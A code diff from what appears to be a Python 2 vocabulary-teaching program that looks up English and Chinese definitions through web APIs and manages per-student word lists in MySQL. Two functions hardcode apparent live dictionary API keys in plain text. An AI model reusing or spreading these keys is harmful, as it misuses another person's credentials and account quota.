+### Data is stored inside the function, so in case of new advisers, type their info into the adviser key
+def get_adviser_fullname(initials):
+    initials = lower(initials)
+    adviser_key = {} ## add new entries here
+    if adviser_key.has_key(initials): 
+        submit_to = adviser_key[initials]
+    else:
+        submit_to = raw_input("Please enter your full name. ") ## if there's no entry, asks for full name
+
+    return submit_to
+
+### based on user-chosen student id, gets the full name of the student. (used for file headings)
+### Data is stored inside the function, so in case of new students, type their info into the student key
+def get_student_fullname(student_id):
+    student_key = {} # add new students here
+    
+    if student_key.has_key(student_id):
+        return student_key[student_id]
+    else:
+        return student_id ## if there's no entry, it just returns the student id
+
+### based on student id, gets the location of their directory. all files except test sheets (the ones used to generate new
+### tests; they're temporary) are saved to this directory. if directory doesn't exist, it saves in the base vocab directory
+def get_student_dir(student_id):
+    # (make sure to escape backslashes)
+    
+    base_ext = '\\\\JASON1\\Sophos\\Clients\\' # this is dependent on the current server arrangement
+    # since this function is network dependent, it doesn't do anything if used on a computer not connected to the
+    # server. This might be something to fix.
+    
+    student_dir = {} # add new students here
+    
+    if student_dir.has_key(student_id):
+        dir_prefix = base_ext + student_dir[student_id]
+        if not os.path.exists(dir_prefix): ## checks if the path exists; if it doesn't, files will be put in the main vocab program directory
+            return ""
+        else:
+            return dir_prefix
+    else:
+        return ""
+
+### This function hasn't been implemented, but it's for speeding up the passive sheet creation process by immediately
+### supplying a student's passive parameters. this assumes that they don't change much. Implementation should be straightforward
+def get_student_PA_parameters(student_id):
+    # the parameters are [chinese/english definitions, verb phrases?, idioms?, definitions limit]
+    student_param = {} # add new students here
+
+    if student_param.has_key(student_id):
+        return student_dir[student_id]
+    else:
+        return False
+
+## Main function for getting a definition for a word. "dbase" means the definitions dbase, chinese or english
+## "cn_threshold" is only if *some* words are in english and otherse in chinese, in which case dbase is english definitions
+## dbase and dbase2 is chinese definitions dbase. words_by_level is included if this sorting is necessary. (it would be
+## more elegant to do that bit of sorting before this function is called)
+def get_definition(word, dbase, language = 'e', cn_threshold = False, dbase2 = False, words_by_level = False):
+    if language == 'e':
+        defi = get_en_definition_wn(word, dbase)
+    elif language == 'c':
+        defi = get_cn_definition(word, dbase)
+    elif language == 'b': # if it's a mix of chinese and english definitions, then...
+        if words_by_level.has_key(word): # ... see if the words by level list has the word
+            if words_by_level[word][1] in cn_threshold: # get chinese defi if level of word is in the chinese threshold
+                defi = get_cn_definition(word, dbase2)
+            else: # english otherwise
+                defi = get_en_definition(word, dbase)
+        else: # if words_by_level doesn't have the word, default to english definition (though this should in theory never happen)
+            defi = get_en_definition(word, dbase)
+    return defi
+
+# wordnik definition getter
+def get_en_definition_wn(word, dbase):
+    if dbase.has_key(word): # first, checks if we already have the word in our definitions database
+        return dbase[word]
+    else:
+        apiUrl = 'http://api.wordnik.com/v4'
+        apiKey = 'afb0601cfb3549b52e0010482ff02f04351b041680401a749'
+        client = swagger.ApiClient(apiKey, apiUrl)
+        wordApi = WordApi.WordApi(client)
+        
+        definitions = wordApi.getDefinitions(word, sourceDictionaries="wiktionary")
+        defi_list = []
+        if definitions != None:
+            for defi in definitions:
+                defi_list.append([defi.partOfSpeech, defi.text])
+
+        return defi_list
+
+## Get's the english definition for a word, whether from our database or from dictionary.com
+## There is a limit on the dictionary.com api, something like 1000 calls a day.
+def get_en_definition(word, dbase):
+    if dbase.has_key(word): # first, checks if we already have the word in our definitions database
+        return dbase[word]
+    else:
+        #print "Finding definition for: " + word
+        api_key = "7b44ly3m8yootpmdgni4s7aprwns4l0bw5fi3j4bit" # this is from my dictionary.com account, may need a different one at some point
+        url = "http://api-pub.dictionary.com/v001?vid="+api_key+"&q="+word+"&type=define" # html for a word
+        data = []
+        try:
+            parsed = parse(urlopen(url)) # gets the data from the website (xml)
+            # most of the below is for
+            entry_list = parsed.getElementsByTagName('entry') ## gets the various entries (i think only important for homonyms)
+            for entry in entry_list:
+                disp_f = entry.getElementsByTagName('display_form')
+                _disp_word = str(disp_f[0].childNodes[0].nodeValue)
+                disp_word = _disp_word.replace('&middot;','') # replaces the syllable seperating dot with nothing; the "disp_word" is not always the same as the original word, it can be a verb phrase or idiom as well
+                pos_list = entry.getElementsByTagName('partofspeech') # a list of entries for the word by part of speech (POS)
+                for pos in pos_list:
+                    _pos = str(pos.getAttribute('pos')) #gets the POS
+                    defi_list = pos.getElementsByTagName('def') # gets the list of definitions for that pos
+                    _defi = ''
+                    for defi in defi_list:
+                        try:
+                            defi_str = str(defi.childNodes[0].nodeValue) # for some reason, the definitions aren't exactly strings, so we have to stringify them
+                        except UnicodeEncodeError:
+                            ### this is a ghetto fix. they use smart quotes and other things for some defs,
+                            ### which breaks the str() function. We need strings, so right now i have the user
+                            ### fix the problem manually by retyping the definition without the offending characters.
+                            defi_uni = unicode(defi.childNodes[0].nodeValue)
+                            print defi_uni
+                            print "Unicode error, copy-paste the above definition below and fix the problem."
+                            showinfo('Unicode Error', 'Unicode Error (ignore the \'tk\' window)') # This makes a little graphical pop-up that alerts the user to the problem
+                            defi_str = raw_input(">> ")
+                            
+                        if _defi == '': # the first definition
+                            _defi = defi_str
+                        else:
+                            _defi = _defi + "; " + defi_str # add a ; between subsequent definitions
+                    if _pos not in ('verb phrase','idiom'):
+                        data.append([_pos, _defi])
+                    else:
+                        data.append([disp_word, _pos, _defi]) # for idioms and word phrases, keep the word as well
+        except:
+            print "Definition error: " + word
+            # some words just get errors; they're usually the same words, and usually are ones with french marks in traditional spellings 
+            data = []
+        if data != []: # put the data into the database
+            do_command("""INSERT INTO dictionary (word, data) VALUES (\"%s\", \"%s\")""" % (MySQLdb.escape_string(str(word)), MySQLdb.escape_string(str(data))))
+        return data
+
+# this function has been the most recently remade. it is the same as the above, but gets the Chinese definition instead of the
+# English definition. it had to be remade because our previous API source, dict.cn, stopped offering (or broke) it's API,
+# and so I found another source that works. unfortunately, unlike the dict.cn API, which was very fast, this one is super
+# slow and prone to locking up the program. It doesn't seem to have a problem when run through a browser, but out of
+# python it really has trouble. the dbase variable in this function is the cn_dictionary dbase, rather than the standard one.
+# BTW, there are some difference between the new and old APIs and how they format their data; if the old API starts working
+# again, or you find a new API and want to look at how we dealt with the last one, just go to an old version of the vocab program
+def get_cn_definition(word, dbase):
+    if dbase.has_key(word): # if we have the definition in the dbase, just return that definition
+        return dbase[word]
+    else:
+        url = "http://dict-co.iciba.com/api/dictionary.php?w="+word # the API call
+        try:
+            text = urlopen(url)
+        except IOError: # this error occurs a lot with Chinese definitions, I think it's just a time-out
+            counter = 0
+            while True: # if we get that error
+                if counter == 20: # we try another 20 times before we quit
+                    print "skipped (timeout): " + word
+                    return []
+                sleep(1) # we wait one second between calls; this seems to help a bit
+                try:
+                    text = urlopen(url) # here is our re-connect attemp
+                    break
+                except IOError:
+                    counter += 1
+                    continue
+
+        text = text.read() # get the xml text
+        parsed = parseString(text) # parse the xml
+
+        # a conversion chart between the POS as the API provides it and the POS as we want it.
+        pos_index = {'vt':'verb (used with object)', 'vi':'verb (used without object)','v':'verb', 'n':'noun','adv':'adverb',
+                             'adj':'adjective','art':'article','abbr':'abbreviation','pron':'pronoun','prep':'preposition','conj':'conjunction',
+                             'num':'number', 'int':'interjection', 'pref':'prefix', 'interj':'interjection', 'prop':'preposition',
+                             'aux':'auxilliary', 'v.aux':'auxiliary', 'suf':'suffix', 'vt.& vi':'verb'}
+        # not sure if this is 100% complete after the transition to the new API
+
+        pos_list = parsed.getElementsByTagName('pos') # this gets a list of the parts of speech        
+        def_list = parsed.getElementsByTagName('acceptation') # and this gets a list of the definitions
+        
+        data = []
+        if len(pos_list)!=len(def_list): # unlike the English API, the POS and definitions data is seperate, so here we just check that there's a pos for every definition
+            print 'uneven pos/defi problem: ' + word
+        else: # if the POS and definitions line up
+            for num in range(len(pos_list)): # we're gonna go through each POS and definition (pos_list and def_list are the same length, obviously)
+                try:
+                    _pos = pos_list[num].childNodes[0].nodeValue # and extract the POS and the def
+                    _def = def_list[num].childNodes[0].nodeValue
+                except IndexError:
+                    break
+                if pos_index.has_key(_pos[:-1]): # if we can find the POS we extracted in our pos_index (see above), then replace it with the version we want
+                    _pos = pos_index[_pos[:-1]]
+                else:
+                    try:
+                        _pos = str(_pos) # otherwise just stringify the pos they give
+                    except (ValueError, TypeError):
+                        _pos = "other" # and if that doesn't work, just make it 'other'
+                clean_def = '' # we can't just use the definition straight-up, we have to clean it first (see below)..
+                for letter in _def: # .. so we go letter by letter
+                    if letter == '\n': # we skip any line breaks
+                        pass
+                    else: # otherwise we're gonna add the letter, but first..
+                        try:
+                            temp = conversion.python_to_ncr(letter, decimal=True) # this function, from the ltchinese pack, turns the chinese characters into decimals. we need to do this because pyrtf (I think - it may be python) can't handle Chinese characters directly
+                            temp = '\\u'+temp[2:-1]+'?' # and this extra text packages that number in a way that pyrtf will be able to read it when we print the passive assignment (this is just magic as far as I can tell; encoding behavior is one thing I've never gotten a handle on with python. this works, but it's not a solution i feel terribly confident it)
+                            clean_def += temp # add the processed character to the cleaned up definition
+                        except ValueError:
+                            clean_def += letter # if it's not a Chinese character, we just add it directly, without the packaging
+                data.append([_pos,clean_def]) # finally, add the POS and cleaned up definition to the data we're gonna send to our db
+
+            # send the data to mySQL
+            do_command("""INSERT INTO cn_dictionary (word, data) VALUES (\"%s\", \"%s\")""" % (MySQLdb.escape_string(str(word)), MySQLdb.escape_string(str(data))))
+            
+        return data # and back to the function
+
+### This function tracks the progress of finding the definitions for the words in a particular passive sheet
+def progress_tracker(count, total, last): # count = number of words defined, total = total number of words, and last is last % complete displayed
+    progress = float(count)/float(total)
+    if progress-last > .05: ## you can change this number to see if you want to change how often it prints progress; right now it's every 5%
+        print str(int(progress*100)) + '% complete. (' + str(count) + '/' + str(total) + ')'
+        return progress
+    else:
+        return last
+
+###################################################################################
+### UPLOAD NEW WORDS TO ACTIVE/PASSIVE COMMANDS
+# upload_csv_for_sdb(input_file_name)
+# upload_to_sdb_checker(words)
+# ask_overwrite()
+# delete_word_from_db(word, dbase)
+# add_word_to_db(word, dbase, date=False, source=False, passive_update=False)
+# upload_to_sdb_error_check(words)
+# upload_to_sdb(student)
+# upload_to_sdb_passive(student)
+###################################################################################
+
+### Turns a word list (word/date/source) .csv into a list.
+def upload_csv_for_sdb(input_file_name):
+    
+    words = []
+    try:
+        reader = csv.reader(open(input_file_name, "rb")) # open the file
+    except IOError:
+        print "No such file! Exiting."
+        return False
+    for row in reader:
+        words.append([row[0],row[1],row[2]]) # convert file to list
+
+    return words
+
+### This function checks the format of word lists (word/date/source). However, since these sheets are now almost always generated
+### automatically (and, in truth, unnecessary), it should never return errors (unless the user does use one of the
+### deprecated functions, specifically A and B).
+def upload_to_sdb_checker(words):
+    new_words = []
+    error = False
+    words_list = []
+    
+    for word in words: # poorly formed; this should say word, date, source in words, but below these are treated as word[0], word[1], word[2]
+        new_word = lower(word[0]) # make all words lower case
+        if new_word in words_list: # ignore any words entered twice
+            print "Repeat word ignored: " + new_word
+            continue
+        else:
+            words_list.append(new_word) # this just keeps track of the words so far so that the above operation can be performed
+            
+        if len(new_word) == 0: # skip blanks
+            continue
+        for letter in new_word: # check for any foreign letters; there should be a better way to do this
+            if letter in foreign_letters:
+                print "Foreign letter error: " + new_word
+                error = True
+        if new_word[0] == ' ' or new_word[-1] == ' ': # if the first or last letter of the word is whitespace, that's a paddlin'
+            print "Whitespace error (word): " + new_word
+            error = True
+        try: # word[1] = the date
+            if word[1][:3]!='201': # years should be in this decade, watch out for Y2K2, this program will shit bricks
+                print "Date error: " + new_word
+                error = True
+            new_date = date(int(word[1][:4]),int(word[1][4:6]),int(word[1][6:]))
+        except (ValueError, IndexError): # if the int() function fails, you've got letters in your dates, or else if date() fails it's a bad date; right now there's no distinciton between the two errors
+            print "Date error: " + new_word
+            error = True
+            new_date = word[1]
+        new_source = word[2] # word[2] = the source
+        if len(new_source) == 0: # no entered source
+            print "No source: " + word
+            error = True
+        elif new_source[0] == ' ' or new_source[-1] == ' ': #check that source doesn't have whitespace at beginning or end
+            print "Whitespace error (source): " + new_word
+            error = True
+        new_words.append([new_word,new_date,new_source]) # append the data to a new list
+
+    if not error: 
+        return new_words # return the data if there's no error
+    else:
+        return False
+    
+### Passive words, if already in the passive sheet, can be overwritten (the words stay there, but the sources are overwritten.)
+### However, in the current implementation, this option is never used because passive words go straight to active. You'll only
+### see passive words overwritten if you had to quit the program during passive sheet generation.    
+def ask_overwrite():
+    while True:
+        overwrite = lower(raw_input("Overwrite previous sources and dates (y/n)? "))
+        if overwrite in ['y','n']:
+            break
+    if overwrite == 'y':
+        return True
+    else:
+        return False
+
+### This function is a solution to updating the MySQL database word by word during passive sheet creating.
+### As explained in some other function's description, this is much faster, since it limits the number of calls
+### to the db. Each call is longer, but there are only three calls. Because we're skipping the passive list,
+### the third command can be removed, though not independently of making other changes to the program.
+def batch_add_active_words(to_add_active_words, to_delete_p_words, to_add_main_words, student_name, main_name, passive_name):
+    if len(to_add_active_words) !=0: # words to add to the active database
+        add_active_command = "INSERT INTO %s (word, data, lockvar) VALUES " % student_name
+        for word, date, source in to_add_active_words:
+            add_active_command += """(\"%s\", \"%s\", 'False'), """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str([[],[],[100.0],[],['active',date, source]])))
+        add_active_command = add_active_command[:-2] + ';'
+        
+        do_command(add_active_command)
+
+    if len(to_add_main_words) !=0: # words to add to the vocabmain list
+        add_main_command = "INSERT INTO %s (word, data, lockvar) VALUES " % main_name
+        for word, date, source in to_add_main_words:
+            add_main_command += """(\"%s\", \"%s\", 'False'), """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str({})))
+        add_main_command = add_main_command[:-2] + ';'
+        
+        do_command(add_main_command)
+
+    if len(to_delete_p_words) !=0: # words to delete from the passive list (can be removed, see function note)
+        delete_p_command = "DELETE FROM %s WHERE " % passive_name
+        for word, date, source in to_delete_p_words:
+            delete_p_command += """word = \"%s\" OR """ % MySQLdb.escape_string(word)
+        delete_p_command = delete_p_command[:-3] + ';'
+        
+        do_command(delete_p_command)
+
+    return
+
+### Only used when words are directly loaded to the active sheet through the deprecated function.
+def upload_to_sdb(student_name, main_name):
+    passive_name = student_name+"passive" # name of student's passive dbase
+
+    input_file_name = raw_input("Please enter the file name (without .csv; must be in same folder): ") ## asks for the upload file (word/date/source)
+    input_file_name = input_file_name + '.csv'
+
+    double_check = raw_input("Have you checked the file to remove adverbs, gerunds, etc.? (* to quit, Enter to continue)") ## standard warning
+    if double_check == '*':
+        return
+
+    words = upload_csv_for_sdb(input_file_name) # turns file into list
+    if words == False:
+        return
+
+    words = upload_to_sdb_checker(words) # checks list for formatting errors
+    if words == False:
+        print "Errors found. Exiting."
+        return
+
+    passive_words = get_words_list(passive_name) # gets all the relevant lists
+    active_words = get_words_list(student_name)
+    main_words = get_words_list(main_name)
+
+    to_add_active_words = []
+    to_delete_p_words = []
+    to_add_main_words = []
+    
+    for word, date, source in words:
+        if word in active_words: # if the word is already active, skip it
+            print "Already an active word: " + word
+        else:
+            to_add_active_words.append((word, date, source)) # if not, add it to the active words, plus...
+            if word in passive_words: # if there's a passive version, delete that passive version
+                print "Passive verion deleted: " + word
+                to_delete_p_words.append((word, date, source))
+            if word not in main_words: # if there's no version in the main, add that
+                to_add_main_words.append((word, date, source))
+
+    # do all the changes in batch, not one-by-one
+    batch_add_active_words(to_add_active_words, to_delete_p_words, to_add_main_words, student_name, main_name, passive_name)
+
+    # log the activity
+    add_to_log(student_name, input_file_name)
+
+    print "Active upload complete."    
+    return
+
+### this function just adds all the passive words to the passive sheet, replacing any that are due to be overwritten
+### It's connected only with the function below it.
+def batch_add_passive_words(to_add_words, to_replace_words, passive_name):
+    if len(to_add_words) !=0:
+        add_command = "INSERT INTO %s (word, data, lockvar) VALUES " % passive_name
+        for word, date, source in to_add_words:
+            add_command += """(\"%s\", \"%s\", 'False'), """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str([date,source])))
+        add_command = add_command[:-2] + ';'
+        
+        do_command(add_command)
+    
+    if len(to_replace_words) !=0:
+        replace_command = "UPDATE %s SET data = CASE " % passive_name
+        for word, date, source in to_replace_words:
+            replace_command += """WHEN word = \"%s\" THEN \"%s\" """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str([date,source])))
+        replace_command += "ELSE data END;"
+        
+        do_command(replace_command)
+    
+    return
+
+### This function is still necessary. It is used in the one-shot upload process to add passive words from the
+### _input_file_name. It also is used in the deprecated functions to just upload passive words
+def upload_to_sdb_passive(student_name, main_name, _input_file_name = False, stats = False):
+
+    passive_name = student_name+"passive" # name of student's passive db
+
+    if not _input_file_name: # if there's no given file (which means you're using the deprecated function)
+        input_file_name = raw_input("Please enter the file name (without .csv; must be in same folder): ") # get the file for upload
+        input_file_name = input_file_name + '.csv'
+
+        double_check = raw_input("Have you checked the file to remove adverbs, gerunds, etc.? (* to quit, Enter to continue)") # standard warning
+        if double_check == '*':
+            return False
+        overwrite = ask_overwrite() # does the user want to overwrite older passive word duplicates?
+    else:
+        input_file_name = _input_file_name #
+        overwrite = True # we always overwrite passive words in the one-shot solution, because the only reason they're ever
+                         # in the passive sheet is if there was an error.
+    
+    raw_words = upload_csv_for_sdb(input_file_name) # get the data in list form
+    if raw_words == False:
+        print "Errors found. Exiting."
+        return False
+
+    raw_words = upload_to_sdb_checker(raw_words) # check the list form for errors; we should be able to skip this for the one-shot solution
+    if raw_words == False:
+        print "Errors found. Exiting."
+        return False 
+
+    active_words = get_words_list(student_name) # get words from the student's active and passive sheet
+    passive_words = get_words_list(passive_name)
+    # we don't need the vocabmain data yet because passive words are not added to the vocabmain until they become active
+
+    to_add_words=[]
+    to_replace_words=[]
+    not_added_words=[]
+    
+    for word, date, source in raw_words:
+        if word in active_words: # if the word is active, skip it
+            print "Already an active word: " + word
+            not_added_words.append(word) # we track not-added words only for the summary stats
+        elif not overwrite and word in passive_words: # if the word is already passive, and we're not overwritting, skip it
+            print "Already a passive word: " + word
+            not_added_words.append(word)
+        elif overwrite and word in passive_words: # if the word is already passive, but we're overwriting, then slate it for overwriting
+            print "Overwritten previous version: " + word
+            to_replace_words.append((word,date,source))
+        else: # if the word is not passive, slate it for adding
+            print "Passive word added: " + word
+            to_add_words.append((word,date,source))
+
+    if stats != False:
+        # this pauses the process to give the user a chance to look at the summary stats; ostensibly to let them shorten
+        # the assignment if there are too many words.
+        stats_cont = print_summary_stats(stats, not_added_words)
+        if not stats_cont:
+            return False
+
+    # adds all the passive words
+    batch_add_passive_words(to_add_words, to_replace_words, passive_name)
+
+    add_to_log(student_name, input_file_name) # logs the activity
+    
+    print "Passive upload complete."
+    return _input_file_name # returns this info so that the file can then be deleted. 
+
+###################################################################################
+### DOWNLOAD FILL-IN ANSWER SHEET COMMANDS - THESE RARELY USED FUNCTIONS ARE FOR DOWNLOADING SHEETS THAT MAKE
+### IN-ADVANCE ANSWER CREATION EASIER
+# has_answers(dbase, word, q_type)
+# csv_generator(q_type)
+# add_to_generator_csv(writer, word, data)
+# download_qless(q_type, dbase, main_name)
+# download_all(q_type, dbase, main_name)
+# download_answer_sheet(student_name)
+###################################################################################
+
+# checks if a word has any questions of a particular question type.
+# (this could easily be replaced by a tweaked version of get_generator_data_from_dict; they're essentially the same function)
+def has_answers(dbdict, word, q_type):
+    if not dbdict.has_key(word):
+        print "Not in main: " + word
+        return True
+    
+    answers = dbdict[word]
+
+    if answers=={}:
+        return False
+    else:
+        for answer_key in answers:
+            if answer_key[0] == q_type:
+                return True
+        return False
+
+# makes the .csv file that will be filled with the words and questions, if any
+def csv_generator(q_type):
+    now = datetime.datetime.now()
+    name = 'uploader-'+q_type+'-'+str(now.year)+'-'+str(now.month)+'-'+str(now.day)+'-('+str(now.hour)+'-'+str(now.minute)+').csv'
+    writer = csv.writer(open(name, 'wb'), dialect = 'excel')
+    
+    return writer
+
+# adds a word and any associated data to the .csv file
+def add_to_generator_csv(writer, word, data):
+    row = [word, '']
+    if data == {}: # if there are no answers for the word, just add {}
+        row.append(str(data))
+    else: # if there are answers..
+        for q in data: # attach each answer in a new column (here q is the answer number [m1,s1,etc.], and data[q] is the answer
+            q_together = str(q) + ":" + str(data[q])# combine the answer number and the answer
+            row.append(q_together) # add these two to their own column
+
+    writer.writerow(row)
+    return
+
+### This function gets the relevant questions for a particular word
+def get_generator_data_from_dict(main_dict, word, q_type):
+    if not main_dict.has_key(word): # if the word is not in the main, that's a problem, but here we keep the word anyway; probably want to return an error
+        print "Not in main: " + word
+        return {}
+    
+    answers = main_dict[word] # get the questions we have for that word
+
+    if answers=={}: # if there are no questions, return as much
+        return answers
+    else:
+        _answers = {} # create a variable to store relevant questions
+        for answer_key in answers: # go through each question
+            if answer_key[0] == q_type: # if the question matches the question type we're looking for
+                _answers[answer_key] = answers[answer_key] # add it to our storage varialbe
+        return _answers # which we return at the end
+
+### This function downloads only the words that don't have a particular type of question
+### q_type is s or m, dbase is the one from which we'll get the words, and main_name is from where we'll get the answers
+def download_qless(q_type, dbase, main_name):  
+    writer = csv_generator(q_type) # make the csv that we'll fill
+
+    words = get_words_list(dbase) # get the word subset we're considering
+    main_dict = turn_dbase_into_dict(main_name) # get the words + answers set we're considering
+    
+    for word in words: # for every word from our word subset
+        if not has_answers(main_dict, word, q_type): # if the word has no answer in the words + answers set
+            add_to_generator_csv(writer, word, {}) # add the word to the csv
+
+    return
+
+### Same as above, only this time it includes words that have questions
+def download_all(q_type, dbase, main_name):
+    writer = csv_generator(q_type)
+
+    words = get_words_list(dbase)
+    main_dict = turn_dbase_into_dict(main_name)
+    
+    for word in words:
+        data = get_generator_data_from_dict(main_dict, word, q_type)
+        add_to_generator_csv(writer, word, data) # adds the word with any and all answer data to the csv
+
+    return
+    
+# one minor note when you're looking over this set of functions, I used the words question and answer interchangeably
+# They both mean "answer option", i.e., the m1, m2, s1, etc. for a particular word
+def download_answer_sheet(student_name, main_name):    
+    while (True): # Asks what type of questions you want to make
+        q_type = raw_input("Enter either m (matching word) or s (sentence completion): ")
+        if q_type in ["m","s"]:
+            break
+    
+    while True: # Gives a few options for what type of sheet to make
+        print ""
+        print "Select an option. (* to quit)"
+        print "1. All words without questions."                                     # All words without that type of question
+        print "2. All words."                                                       # All words, regardless of how many questions they have
+        print "3. All words in " + student_name + "'s list without questions."      # Same as 1, but only words that a particular student has
+        print "4. All words in " + student_name + "'s list."                        # Same as 2, but only words that a particular student has
+        option = raw_input(">>")
+        if option == '*':
+            return
+        if not(option in ['1','2','3','4']): # reject invalid selections
+            print "Invalid selection. Enter just the number of the option you want."
+        else:
+            break
+
+    if option=='1':
+        download_qless(q_type, main_name, main_name)
+    if option=='2':
+        download_all(q_type, main_name, main_name)
+    if option=='3':
+        download_qless(q_type, student_name, main_name)
+    if option=='4':
+        download_all(q_type, student_name, main_name)
+
+    print "Answer upload sheet created."
+    return
+
+###################################################################################
+### UPLOAD NEW ANSWER SHEET COMMANDS - THESE FUNCTIONS UPLOAD THE SHEETS THAT WERE CREATED IN THE PREVIOUS SET OF FUNCTIONS
+### AFTER THE USER IS FINISHED ADDING THE NEW ANSWERS
+# get_upload_csv()
+# check_if_word_exists_in_db(word, dbase)
+# clean_words(data, main_name, q_type)
+# get_data_for_upload(main_name)
+# check_for_changes(word, data, dbase, q_type)
+# add_new_data(word, new_q, dbase, q_type)
+# upload_answer_sheet(main_name)
+###################################################################################
+
+# This function lets the user pick which file with new answers they want to upload
+def get_upload_csv():
+    files = os.listdir(os.getcwd()) # gets all the files that are in the directory
+    
+    counter = 1
+    v_files = []
+    for f in files: # looks through each file
+        if f[:9] =='uploader-' and f[-4:] == ".csv": # if the file name matches the uploader file template...
+            print str(counter) + ". " + f # display it in a list
+            counter += 1
+            v_files.append(f) # and add it to a list
+
+    if len(v_files)==0: # if there are no files with a name that matches the template
+        print "No acceptable files."
+        return False, False
+        
+    while True: # lets the user pick a file, based on the number from the list created above
+        csv_name = raw_input('Enter the number of the file you wish to upload or * to quit. ')
+        if csv_name == '*': # quits
+            return False, False
+        if int(csv_name) in range(1,len(v_files)+1): # checks that the number is in the correct range
+            csv_name = v_files[int(csv_name)-1] # gets the filename value
+            break
+
+    q_type = csv_name[9] # retreives what type of questions we're uploading in this file
+    if q_type not in ['m','s']: # double checks that it's either a matching or sentence completion; this should never be a problem, but we check anyway
+        print "Invalid question type in file name."
+        return False, False
+    
+    return csv_name, q_type
+
+# this function looks through all the uploaded answers to see if there are any typographic or other obvious errors
+# data = data from the csv, main_dict = the dict object version of mainvocab and q_type = m or s
+def clean_words(data, main_dict, q_type):
+    words = {} # this dict object collects all of the words and their defintions (new and old)
+    error = False # this is for errors in the firt two columns 
+    answer_error_holder = False # this is for errors in the last two columns
+    for row in data: # goes through each row of data
+        if len(row[0]) == 0 or len(row[1]) == 0: # if the word row or (more likely) the answer row are nil (i.e., no new answer was entered, skip it)
+            continue
+        if not main_dict.has_key(row[0]): # if the word in the list is not in the vocabmain (shouldn't happen)
+            print "Not in main vocab: " + row[0] 
+            error = True
+            continue
+        for letter in row[1]: # checks the answer column for any foreign letters
+            if letter in foreign_letters:
+                print "Foreign letter error (new answer): " + word
+                error = True
+        if q_type=='s': # makes sure that the --- is present in new sentence completion answers
+            if '---' not in row[1]:
+                print "You forgot the --- for: " + row[0]
+                error = True
+                continue
+        if row[0][0] == ' ' or row[0][-1] == ' ' or row[1][0] == ' ' or row[1][-1] == ' ': # checks for whitespace at beginning or end of word or new answer
+            print "Whitespace error for: " + row[0]
+            error = True
+            continue
+        word = row.pop(0) # if we didn't hit any error, take the word from the row
+        new_a = row.pop(0) # and the new answer
+        words[word] = {'new':new_a} # and add these two to the words dict object
+        answer_error = False 
+        for _answer in row: # now we're going to check all the pre-existing answers (one-by-one) for that word that were included in the uploader sheet (columns 3 and onwards in the csv)
+            if _answer=='{}': # if there's nothing, keep going
+                continue
+            if len(_answer)==0: # another nothing; this happens in empty overhung cells (i.e., if the longest row has 5 columns, a row with three columns would be 'word', 'answer','{}','','')
+                continue
+            else:
+                try: # if we're here, it means there are pre-existing answers, so we're going to check that they're properly formatted
+                    place_holder = _answer.index(':') # this finds the ':' symbol, which seperates key from answer
+                    key = _answer[:place_holder] # everything before the : is the key
+                    answer = _answer[place_holder+1:] # everything after is the answer
+                except (ValueError, IndexError): # if you get this error, it means the ':' symbol is missing from that answer entry, which means something has been fucked up
+                    answer_error = True # the reason for two error booleans is that this one resets every word/row
+                    answer_error_holder = True # while this one stays true until the end, so that we know to exit the program
+                    break
+                if words[word].has_key(key): # if you get this error, that means you have the same key for different answers, which should never happen
+                    answer_error = True
+                    answer_error_holder = True
+                    break
+                words[word][key]=answer # if no errors, add that key and answer to the word's data
+
+        if answer_error: # if we have an error in the answers, get rid of that word and notify the user
+            del words[word]
+            print "Answers error for: " + word
+            continue
+
+    if error or answer_error_holder: # save quitting due to errors until the end, so you see all the errors
+        return False
+    else:
+        return words # if no errors, return your list of words. this data should include all words that have new answers, along with all of their past answers and the new answer
+        
+# just a higher level function that finds which file the user wants to upload, checks that there are no errors in the file
+# and returns the relevant data.
+def get_data_for_upload(main_dict):
+    csv_name, q_type = get_upload_csv() # gets the csv
+    if not csv_name:    
+        return False, False
+
+    # the below converts the csv data into a list object
+    _words = [] 
+    reader = csv.reader(open(csv_name, "rb"))
+    for row in reader:
+        _words.append(row)
+
+    # checks that there is at least one word in the data
+    if len(_words) == 0:
+        print "No words at all, exiting."
+        return False, False
+
+    # runs the words through the cleaning function
+    words = clean_words(_words, main_dict, q_type)
+
+    # if there are errors, quit
+    if words == False:
+        print "Errors found, exiting."
+        return False, False
+
+    # if there are no words left after the cleaning function, quit
+    if len(_words) == 0:
+        print "No editted, acceptable words; exiting."
+        return False, False
+
+    return words, q_type
+
+# The point of this function is to check if the data for a word in the vocabmain database has changed in the time between
+# when the uploader file was created and when it was finally uploaded. This is there to prevent any accidental duplication
+# (i.e. if you create an uploader and enter "go" as an answer for "walk", but someone else in the meantime has created that
+# same answer, this would recognize that changes had been made).
+# The function returns True for there are changes and False if there are none
+# word = the word, data = the data for the word FROM THE UPLOADER FILE, ddict = the dictionary object that represents the
+# CURRENT vocabmain, q_type = m or s
+def check_for_changes(word, data, ddict, q_type): 
+    if not ddict.has_key(word): # this checks that the word is actually in the vocabmain database
+        print "Not in main: " + word
+        return True
+    else:
+        # the next four lines create a dictionary object that contains all the questions of q_type, indexed by word.
+        # check_for_changes should return False iff the data for a word in the answers dict is the same as the questions
+        # added in the 3rd column and onwards in the uploader file
+        answers = {}
+        for key in ddict[word]:
+            if key[0] == q_type:
+                answers[key] = ddict[word][key]
+        if len(data)-1 != len(answers): # if the data minus the new answer is not the same length as the old answers, we know something new has been addedin the meanwhile
+            print "1. Pre-edited: " + word
+            return True
+        if len(data)==1 and len(answers)==0: # this is the case where there were no answers, and there still are none
+            return False
+        # now we're going to check each answer in the current vocabmain to make sure it lines up with each non-new answer from
+        # the uploader file. this should never technically be necessary, since it will only catch times when an answer
+        # has been editted in the vocabmain, or something else weird like that, but just in case...
+        for key in data: # go through each key in the data from the uploader
+            if key == 'new': # skip the new one
+                continue
+            else:
+                try:
+                    test = answers[key]
+                    if test == data[key]: # make sure the key entries in the two dictionaries match up
+                        continue
+                    else:
+                        print "2. Pre-edited: " + word # if they're not equal, that's a problem
+                        return True
+                except KeyError: # and if the key doesn't exist in the old answers, that's also a problem
+                    print "3. Pre-edited: " + word
+                    return True
+
+        return False
+
+# this function actually adds the new question into the vocabmain database
+# word = the word, new_q = the new question, dbase = the dbase where we'll upload the new data (vocabmain), ddict = a dictionary version of the main vocab list, and q_type = m or s
+def add_new_data(word, new_q, dbase, ddict, q_type):
+    if not ddict.has_key(word): # if for whatever reason the main vocab list doesn't have the word, skip it; should never happen 
